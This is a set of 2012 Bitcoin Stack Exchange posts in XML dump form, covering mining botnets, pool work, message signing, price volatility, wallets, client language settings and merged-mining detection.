  <row Id="3333" PostTypeId="2" ParentId="3332" CreationDate="2012-03-31T17:12:44.723" Score="3" Body="&lt;p&gt;As the miner is obeying the protocol rules, one can't do much without altering the protocol. You could require the client to reject blocks that don't include some transactions that should be in the blocks, limit mining only to people with some accepted keys to sign a transaction or the like, but in the end this would probably not solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was later in Bitcoin maturity, it wouldn't be much of an issue - block rewards will be coming mainly from transactions, so someone rejecting all transactions wouldn't be earning much. If this was an attempt at destroying the Bitcoin network, however, it would still be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the Bitcoin community can do is get more mining power into the network, for example by raising the price of Bitcoins so they would be more profitable. You could also contact the owner of that IP address (since it links to a web page if typed in the address bar) for explanations.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-04-01T04:44:03.350" LastActivityDate="2012-04-01T04:44:03.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3334" PostTypeId="2" ParentId="3332" CreationDate="2012-03-31T17:43:04.383" Score="16" Body="&lt;p&gt;There are too many issues rolled up into this question, I'll try to address each separately.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The fact that the miner does not include transactions is not a problem. Miners have a right to exclude transactions, even all transactions. Senders can include tx fees if they want to improve the chances of being included quickly (if the miner excludes transactions due to its nature of operation an individual fee won't help much, but if the general fee level increases, 0-tx miners will be much less profitable and thus less influential).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The fact that there is a mining botnet is a problem insomuch as we don't want Bitcoin to be an enabler of harmful activities, but it does not harm Bitcoin itself. It is likely that new FPGA- and ASIC-based mining products will make CPU-based botnets less effective.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Orphaned blocks are a normal occurrence in the functioning of the network, and an occasional orphan by this particular miner is of no concern.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the miner starts rejecting longer branches (as in a 51% attack) it is a problem, but it is a heavily discussed core problem which is not specific to botnets and is not yet resolved. I am of the opinion that a &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot;&gt;proof-of-stake&lt;/a&gt; system can drastically mitigate the problem (and will probably make botnets less effective miners).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If we want as a matter of principle to discourage blocks that have little or no transactions, we can include some measure of transaction volume in the branch selection criterion. One such measure is &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot;&gt;Bitcoin days destroyed&lt;/a&gt;. It is resistant to manipulation by sending the same coins to oneself again and again, because such coins will only destroy few days each time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-03-31T17:43:04.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3335" PostTypeId="1" CreationDate="2012-03-31T20:40:12.817" Score="3" ViewCount="758" Body="&lt;p&gt;This is asked in a context to better understand why a submitted share by a miner might be rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know when a new block gets solved that would require a work update, which is approximately every 10 mins on average. Are there any other circumstances where miners in a pool would get new work from the pool server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mainly asking this question to better understand the explanation given &lt;a href=&quot;https://bitcointalk.org/index.php?topic=60507.msg706083#msg706083&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The cause of this problem is low overall hashrate. Phoenix maintains a work queue to reduce hashrate disruptions caused by momentary connection problems. This works great on faster hardware like the ATI 5870, but it can cause issues with miners that get &amp;lt;100 Mhash or so. The reason for &quot;unknown-work&quot; rejects is that those shares were from work that has been &lt;i&gt;sitting in the queue&lt;/i&gt; for &lt;b&gt;long periods of time&lt;/b&gt;(&gt;1 min). Some pools &quot;&lt;i&gt;&lt;b&gt;forget&lt;/b&gt;&lt;/i&gt;&quot; about assigned work after very short time periods (1 minute for example) and any results returned based on that work are rejected as unknown...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It sounds like a pool ignores submitted shares that's over a 1 min even if no new blocks were solved in that time. The submitted share clearly shouldn't be considered stale yet so why would a pool do this?&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="5406" LastEditDate="2016-03-31T10:21:34.660" LastActivityDate="2016-03-31T10:21:34.660" Title="Under what circumstances would a server submit new work to a miner?" Tags="|mining-pools|phoenix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3336" PostTypeId="2" ParentId="3335" CreationDate="2012-03-31T23:55:26.957" Score="3" Body="&lt;p&gt;The problem you are describing could be due to pool optimisation, as it is easier to prune 1 minute old shares than probably it is to look through 10 minutes of shares in order to validate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why a miner would request new work from a pool, other than as a result of longpolling or finishing a work, might be due to the work becoming invalid with time (with standard protocol a miner would request work every second). Alternatively, the miner is trying to be malicious and trying to make the pool do extra work.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-31T23:55:26.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3337" PostTypeId="1" AcceptedAnswerId="3339" CreationDate="2012-04-01T00:49:19.790" Score="18" ViewCount="10325" Body="&lt;p&gt;bitcoin-qt's dialog box states, &quot;Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would this kind of attack look like?  What are some examples of statements that would be safe to sign agreement to?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="516" LastEditDate="2012-06-06T03:27:49.577" LastActivityDate="2015-04-04T15:23:49.737" Title="What are the safety guidelines for using the Sign Message feature?" Tags="|security|bitcoin-core|message-signing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3338" PostTypeId="1" AcceptedAnswerId="4142" CreationDate="2012-04-01T04:43:23.700" Score="9" ViewCount="1881" Body="&lt;p&gt;Bitcoin's long term (after 21 million units have been created) market cap is about $102 million. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price volatility of individual commodities/stocks is inversely correlated with their market cap, so price volatility is to be expected with bitcoin, but relative to commodities/stocks with similar market caps, does it have a volatile price?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that price volatility for bitcoin would be low relative to commodities and stocks with comparably sized markets because it has lower transaction costs allowing for a more liquid market, and I'd like to know if the data shows this to be the case, but I don't know where to start looking as I'm not very familiar with commodity and stock markets and trading.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2012-04-01T08:00:08.067" LastActivityDate="2012-07-09T06:30:55.083" Title="How does bitcoin's price volatility compare to commodities/stocks with comparable market capitalizations?" Tags="|exchange-rate|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3339" PostTypeId="2" ParentId="3337" CreationDate="2012-04-01T05:15:21.347" Score="25" Body="&lt;p&gt;The signing mechanism is a way of proving that a particular message was signed by the holder of an address' private key.  A merchant could ask that you sign a message stating where you want your order shipped to, using one of the addresses your payment originated from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should sign a statement saying &quot;I, Jane Doe (jane.doe@email.com) sent 1.23 BTC to Acme Corp at 12:34pm, 1st Jan 2012 in payment for product XYZ for delivery to 456 High Street, Anytown, USA&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't sign a vague statement saying &quot;yes, I sent that money; send the product to the address I emailed you&quot;, because anyone seeing a copy of that signed message can then pass that on to the merchant with his own postal address and get the product you paid for, in the same way as you wouldn't put your signature to a piece of paper saying &quot;I agree to the above&quot; where the above was left blank.  The postal address part won't be signed, but perhaps the merchant won't care.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-04-01T17:00:56.277" LastActivityDate="2012-04-01T17:00:56.277" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3340" PostTypeId="2" ParentId="3338" CreationDate="2012-04-01T09:43:42.943" Score="4" Body="&lt;p&gt;You wrote: &quot;Price volatility of individual commodities/stocks is inversely correlated with their market cap&quot;. There is just a coincidental correlation between the two. Instead, I would say that there will be price volatility when investors are unsure about the value of an asset. You can see this with the value of for example Facebook. It is just very hard to judge the value of their assets, regardless of their huge market capitalization. Similarly, the value of &lt;a href=&quot;http://www.open-org.com/profit-sharing&quot; rel=&quot;nofollow&quot;&gt;Profit Points&lt;/a&gt; (which I invest heavily in at the moment) will heavily depend on the expectation of future profits of &lt;a href=&quot;http://open-org.com&quot; rel=&quot;nofollow&quot;&gt;Open-org.com&lt;/a&gt;. On the other hand, one has government bonds, which have a very stable value, because it is relatively easy to calculate their value and there is usually not large risks involved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear about the value of Bitcoins... &#xA;If you buy Bitcoins you get a share of the future output of the Bitcoin economy. &#xA;You can see the master himself (&lt;a href=&quot;http://en.wikipedia.org/wiki/Warren_Buffett&quot; rel=&quot;nofollow&quot;&gt;Warren Buffet&lt;/a&gt;) explain this &lt;a href=&quot;http://youtu.be/VdYxVx3PHxk?t=2m10s&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I believe that it is hard to judge what the future output of the Bitcoin economy will be, but it will be easier and easier the bigger the market capitalization of the Bitcoin economy, so for Bitcoins there will be a correlation between the two, but other factors like risk of government crackdown will also affect the volatility. &lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2012-04-12T08:18:46.437" LastActivityDate="2012-04-12T08:18:46.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3341" PostTypeId="2" ParentId="2786" CreationDate="2012-04-01T09:53:51.383" Score="2" Body="&lt;p&gt;First you should reexamine the assumption that you need to do this daily. If you have a reserve equivalent to the weekly volume, you can move funds around once a week. To protect against volatility risk, you can still use an exchange's API to buy bitcoins daily or more frequently to clear your position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't do even a weekly manual transfer, you should have a look at OKPAY. They can accept CC payment, and they might allow you to withdraw bitcoins if they can be shielded against chargebacks (if you explain that your service is not at high risk of chargebacks and put a deposit, they may be convinced).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handling end-provider Bitcoin payments should be separated from this. Once the bitcoins are in your possession use your own daemon and database to send payments automatically.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-04-01T09:53:51.383" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3343" PostTypeId="1" AcceptedAnswerId="8337" CreationDate="2012-04-02T19:16:20.467" Score="56" ViewCount="12540" Body="&lt;p&gt;The &lt;a href=&quot;https://www.blockchain.com/charts/n-orphaned-blocks&quot; rel=&quot;noreferrer&quot;&gt;orphaned blocks view&lt;/a&gt; from BlockChain.info shows a recent fork of the blockchain (starting with block 173,928) that went four blocks long before being orphaned.&lt;/p&gt;&#xA;&lt;p&gt;Other than the controlled rewind following the &lt;a href=&quot;https://en.bitcoin.it/wiki/Incidents#Value_overflow&quot; rel=&quot;noreferrer&quot;&gt;Value Overflow bug&lt;/a&gt; in August 2010 in which 53 blocks were orphaned, is there a fork of blocks orphaned as long or longer than this one that occurred at 173,928?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2022-01-15T18:44:34.120" LastActivityDate="2022-01-15T18:44:34.120" Title="What is the longest blockchain fork that has been orphaned to date?" Tags="|blockchain-fork|history|chain-reorganization|stale-block|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="3344" PostTypeId="2" ParentId="3338" CreationDate="2012-04-03T03:36:24.037" Score="3" Body="&lt;p&gt;You also need to consider the size of the holdings of individuals. If one individual holds a big proportion of the total capital, then they have the power to cause a large drop in the price by flooding the market. Similarly, anyone holding a large amount of cash can cause a spike in the price by purchasing many bitcoins. &lt;strong&gt;How much volatility is caused by both these cases depends more on the depth of the market than the total capitalisation.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key thing to remember is that the current market value only applies to the number of coins available for sale at the current price. There are likely many bitcoin owners who won't sell for anything less than $20 or more, despite the current price of around $5. You couldn't buy all the bitcoins for $102 million, or even $200 million (even if the 21 million coins were actually already available, which they're not).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-04-03T03:36:24.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3345" PostTypeId="1" AcceptedAnswerId="3346" CreationDate="2012-04-03T06:30:46.347" Score="3" ViewCount="169" Body="&lt;p&gt;If there was a concerted effort to &quot;shut it down&quot;, where are the vulnerabilities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The potential for the Bitcoin client to communicate with other Bitcoin nodes has been discussed at length, but what about the other parts of the Bitcoin ecosystem that have we become dependent upon?  If they disappear (e.g., denial of service, or taken down), will Bitcoin continue to function as a currency and payment system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the most important systems that we are dependent on and how are we affected as a result if services from these systems end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example of one such service -- what would be the effect if BlockExplorer.com were to be forced offline.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-04-03T08:58:54.057" Title="What external systems is Bitcoin commerce dependent on?" Tags="|services|network|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3346" PostTypeId="2" ParentId="3345" CreationDate="2012-04-03T08:01:07.373" Score="6" Body="&lt;p&gt;Whereas Block Explorer might be a useful tool, Bitcoin could survive without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most important parts of the Bitcoin ecosystem, asides the main client that is, are the exchanges. They give the currency its value and without them, Bitcoin would become a fringe technology (no merchants would deal in it, as they couldn't pay their taxes with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we have the mining software and to a lesser degree the hardware (FPGA boards and the like). Should those be gone or less available it would be easier to launch a 51% attack on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that there are the mining pools. If they would disappear the miners would have a harder time earning a predictable wage. This dependancy has been mitigated with P2Pool though, so the impact is smaller than it was earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that the services are less essential. Losing the Bitcoin Forum, Wiki, SE, WeUseCoins or the like might make it harder for new people to get into Bitcoin, but wouldn't make it less functional.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="659" LastEditDate="2012-04-03T08:58:54.057" LastActivityDate="2012-04-03T08:58:54.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3347" PostTypeId="1" AcceptedAnswerId="4250" CreationDate="2012-04-03T13:03:54.577" Score="5" ViewCount="2853" Body="&lt;p&gt;Version 0.6 introduced automatic client localizations. Personally, I hate using programs in Hebrew, and prefer English, but the client didn't ask for my preferences on this matter and just switched to Hebrew.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the interface language back to English?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-07-23T00:29:32.723" Title="How to set the language/localization in the standard client?" Tags="|bitcoin-core|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3348" PostTypeId="2" ParentId="3347" CreationDate="2012-04-03T14:22:37.603" Score="4" Body="&lt;p&gt;EDIT: The correct solution was provided by Matt Corallo but was somewhy deleted. Use the command line argument -lang=en_US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, QT chooses which language to use based on the OS settings. So I think the first thing to try is to configure your OS not to use a Hebrew interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that fails, you should try to figure out how to disable localization in QT circles, since bitcoin-qt's localization inherits completely from QT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails, you can recompile without the language in question.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-04-04T10:05:24.383" LastActivityDate="2012-04-04T10:05:24.383" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3349" PostTypeId="2" ParentId="3347" CreationDate="2012-04-03T18:05:02.290" Score="1" Body="&lt;p&gt;I experimented a little in Linux to see what environment variables were affecting the choice of language:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ env | grep -e LANG -e LC_ALL&#xA;LC_ALL=en_CA.UTF-8&#xA;LANG=en_CA.UTF-8&#xA;LANGUAGE=en_CA:en&#xA;$ LANG=de_DE ./bitcoin-qt --help 2&amp;gt;&amp;amp;1 | tail -1&#xA;  -?                 This help message&#xA;$ unset LC_ALL&#xA;$ LANG=de_DE ./bitcoin-qt --help 2&amp;gt;&amp;amp;1 | tail -1&#xA;  -?                 Dieser Hilfetext&#xA;$ LC_ALL=C LANG=de_DE ./bitcoin-qt --help 2&amp;gt;&amp;amp;1 | tail -1&#xA;  -?                 This help message&#xA;$ LANG=de_DE.UTF8 ./bitcoin-qt --help 2&amp;gt;&amp;amp;1 | tail -1&#xA;  -?                 Dieser Hilfetext&#xA;$ LANG=en_US.UTF8 ./bitcoin-qt --help 2&amp;gt;&amp;amp;1 | tail -1&#xA;  -?                 This help message&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems that making sure &lt;code&gt;LC_ALL&lt;/code&gt; isn't set, and having an environment variable &lt;code&gt;LANG=en_US.UTF8&lt;/code&gt; will cause it to use English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, set &lt;code&gt;LC_ALL=en_US.UTF8&lt;/code&gt;, but then everything will be USA-ish - you'll see American date formats, dots instead of commas for decimal points, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last time I used Windows you could set environment variables by going to the Control Panel, opening the &lt;code&gt;System&lt;/code&gt; control, going to the &lt;code&gt;Advanced&lt;/code&gt; tab, and clicking on &lt;code&gt;Environment Variables&lt;/code&gt;.  I don't know if that's changed in recent years though.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-03T18:05:02.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3354" PostTypeId="2" ParentId="3347" CreationDate="2012-04-04T04:06:56.880" Score="2" Body="&lt;p&gt;Start bitcoin with the -lang option ie bitcoin-qt -lang=en_US&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2012-04-04T04:06:56.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3355" PostTypeId="1" CreationDate="2012-04-04T16:45:28.063" Score="16" ViewCount="2625" Body="&lt;p&gt;There is a fundamental bitcoin concept I don't get. Am I correct in that all I &quot;need&quot; to send and receive money are a single address and its associated private key? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, can't I just create an address and private key and print them off and store it in my desk? And in this case, if I print two adresses and private keys, couldn't my physical desk be considered a &quot;wallet&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just trying to figure out what a wallet is specifically. Is this just some sort of file or folder that stores those private and public keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1242" LastEditorUserId="659" LastEditDate="2012-04-04T20:06:16.193" LastActivityDate="2012-04-05T21:01:47.443" Title="Is a wallet just a collection of private and public keys?" Tags="|wallet|address|private-key|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3356" PostTypeId="2" ParentId="3355" CreationDate="2012-04-04T16:58:26.157" Score="3" Body="&lt;p&gt;Yes, the only thing you need in order to send coins is a private key (or some way to derive it). The address isn't strictly needed as it can be reproduced from the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can certainly create physical wallets, and some are offered for sale (e.g. &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius physical bitcoins&lt;/a&gt;). In order to send the contained bitcoins you'll still need a computer to calculate the ECDSA signatures, and a computer (not necessarily the same one) to broadcast them on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard Bitcoin client stores in wallet.dat some information other than the private keys, such as your address book and the transactions that involve you.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-04-04T16:58:26.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3357" PostTypeId="2" ParentId="3355" CreationDate="2012-04-04T17:08:13.497" Score="11" Body="&lt;p&gt;A wallet can be as simple as just a private key by itself even as software that has access to that can derive the public address from it.  So yes, that data alone can be considered a bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you asked if that is all you need to send and receive so for that you will need software that uses the private key to spend the funds.  Sometimes the term &quot;wallet&quot; is used to refer not to just the data stored but transaction data as well, along with the software that can create transactions and do the accounting for them as well so that you can know your balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proper vocabulary would describe wallet software as being a bitcoin client.  The bitcoin client from Bitcoin.org (also referred to as the &quot;Satoshi&quot; client) does this, and has a local wallet as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Wallet from &lt;a href=&quot;http://BlockChain.info/wallet&quot;&gt;http://BlockChain.info/wallet&lt;/a&gt; is managed through a server, but the wallet itself is stored in your browser.  That type of wallet and client is termed a Javascript-based wallet.  Sometimes the term &quot;hybrid wallet&quot; is used, since to spend using My Wallet you need to use their hosted service where the transaction gets processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another type of wallet is an e-wallet where the wallet data is stored by the service's operator.  An e-wallet can also be referred to as a &quot;hosted wallet&quot;.  InstaWallet is one of these.  The just-launched Paytunia is another.  An account at an exchange which hold bitcoins for you is another type of e-wallet service.  Using a hosted wallet incurs risks involving trust extended to the wallet's operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the simplest form of a wallet comes from &lt;a href=&quot;http://BitAddress.org&quot;&gt;http://BitAddress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gives exactly what you describe -- a private key and a public address.  This happens to provide one of the most secure wallets as well.  The html source can be copied to a thumb drive and then used to create paper wallets from an &quot;air gapped&quot; system (such as a computer running a secure operating system perhaps using a LiveCD linux distribution) that has no connection to the network and is used for printing out paper wallets.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-05T21:01:47.443" LastActivityDate="2012-04-05T21:01:47.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3359" PostTypeId="1" CreationDate="2012-04-04T22:03:54.923" Score="24" ViewCount="3976" Body="&lt;p&gt;What happens to my bitcoins when I die?&#xA;Are they lost in the network? &lt;/p&gt;&#xA;" OwnerUserId="1244" LastEditorUserId="5406" LastEditDate="2015-07-21T12:51:47.540" LastActivityDate="2019-08-03T09:28:07.183" Title="What happens to my bitcoins when I die?" Tags="|inheritance-plan|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3360" PostTypeId="2" ParentId="3359" CreationDate="2012-04-04T22:07:15.697" Score="13" Body="&lt;p&gt;This depends a lot on how you handle your wallet. If you are careful about it and make sure you have an off-site backup of your wallet (or use a deterministic or paper wallet, etc) then you can easily pass your wallet and all the coins it contains to anyone you choose in the same ways that you can pass on other property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if you're the only person with access to the wallet and have not planned anything then yes, your bitcoins will be &quot;lost in the network.&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-04-04T22:07:15.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3362" PostTypeId="2" ParentId="3136" CreationDate="2012-04-04T22:16:08.563" Score="-2" Body="&lt;p&gt;Try not booting into graphical mode at all, just command line. Leaving compiz/gnome/gdm/drivers off should alleviate most confusion, as the cards should both be in default modes (and one in VESA/VGA) and for the most part will be untouched by system specifics (more like normal PCI devices)&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2012-04-04T22:16:08.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3363" PostTypeId="2" ParentId="3359" CreationDate="2012-04-05T00:02:31.817" Score="1" Body="&lt;p&gt;You leave them in your will, along with the gold you buried in a secret location.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-04-05T00:02:31.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3364" PostTypeId="2" ParentId="2786" CreationDate="2012-04-05T11:47:03.433" Score="1" Body="&lt;p&gt;From a developers standpoint of view, i like the approach &lt;a href=&quot;https://stripe.com/&quot; rel=&quot;nofollow&quot;&gt;https://stripe.com/&lt;/a&gt; takes.&lt;/p&gt;&#xA;" OwnerUserId="1247" LastActivityDate="2012-04-05T11:47:03.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3365" PostTypeId="2" ParentId="3359" CreationDate="2012-04-05T11:55:10.600" Score="4" Body="&lt;p&gt;You may just store your bitcoins with the method also used by &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.casascius.com/&lt;/a&gt; ... so it will be like paper-money stored in a sock under your bed.&lt;/p&gt;&#xA;" OwnerUserId="1247" LastActivityDate="2012-04-05T11:55:10.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3366" PostTypeId="1" AcceptedAnswerId="3368" CreationDate="2012-04-05T21:30:24.507" Score="11" ViewCount="936" Body="&lt;p&gt;How would one go about detecting whether a mining pool is being dishonest by performing merged-mining without sharing the Namecoin income with its miners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We assume that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The pool is operating normally, albeit pays out only Bitcoin rewards&lt;/li&gt;&#xA;&lt;li&gt;It merge-mines while claiming not doing such a thing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How could we find out the pool is in fact merge-mining and what are the tactics the pool can use to make our investigation harder?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-01-22T22:22:12.850" LastActivityDate="2016-01-22T22:22:12.850" Title="Detecting dishonest merged-mining pool" Tags="|mining-pools|merged-mining|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3367" PostTypeId="2" ParentId="3366" CreationDate="2012-04-06T01:40:51.877" Score="3" Body="&lt;p&gt;Functionality of merged mining for reference, from user ttk2 &lt;a href=&quot;https://bitcointalk.org/index.php?topic=30294.msg393412#msg393412&quot; rel=&quot;nofollow&quot;&gt;on BitcoinTalk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Merged mining works like this, you have two totally separate block chains, they are not related in any way nor does either contain any data from the other. When you mine you generate hashes that may be the solution to the current block, this is very very improbable per hash, its like a lottery where everyone generates tickets until someone finds the winning one. Normally you make tickets and check them against the Bitcoin block chain to see if they are the solution. With merged mining you create a ticket and check it against both the Bitcoin block chain and the Namecoin block chain, Bitcoin and Namecoin know nothing about each other, they are two totally different lotteries with different winning numbers, you just sent a copy of your ticket to both. Since you are sending the same ticket to two lotteries you increase your chances of winning one or the other. No Bitcoin data goes into Namecoin no Namecoin data into Bitcoin they remain totally separate, you simply run both the Namecoin and Bitcoin clients on the same machine and submit hashes to both networks, if your hash is the solution to the Namecoin block you get Namecoins if you hash is the solution to the Bitcoin block you get Bitcoins, its exactly like if you where mining on just one network, except you submit the same work twice. &quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Protocol-wise there is nothing you can do; the work sent to the user is identical whether or not the pool is merged mining. You can certainly check to see if the IP of the pool's server is submitting Namecoin blocks, but even if it is, there is no way save hacking the server to definitively prove that those blocks are being hashed by users. (Though you could potentially provide &quot;beyond a reasonable doubt&quot; proof due to frequency of block solving.) The pool could also fairly easily redirect Namecoin block solutions through another server, VPN, or anonymizer, rendering legal methods of proof effectively impossible.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="18196" LastEditDate="2015-01-15T21:59:41.207" LastActivityDate="2015-01-15T21:59:41.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3368" PostTypeId="2" ParentId="3366" CreationDate="2012-04-06T02:00:27.667" Score="8" Body="&lt;p&gt;The only way to know for sure would be if you mined for the pool and you mined a Namecoin block for them. You would find the particular header you had submitted as a share used as a solved, merge-mined Namecoin block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-04-06T04:09:20.597" LastActivityDate="2012-04-06T04:09:20.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
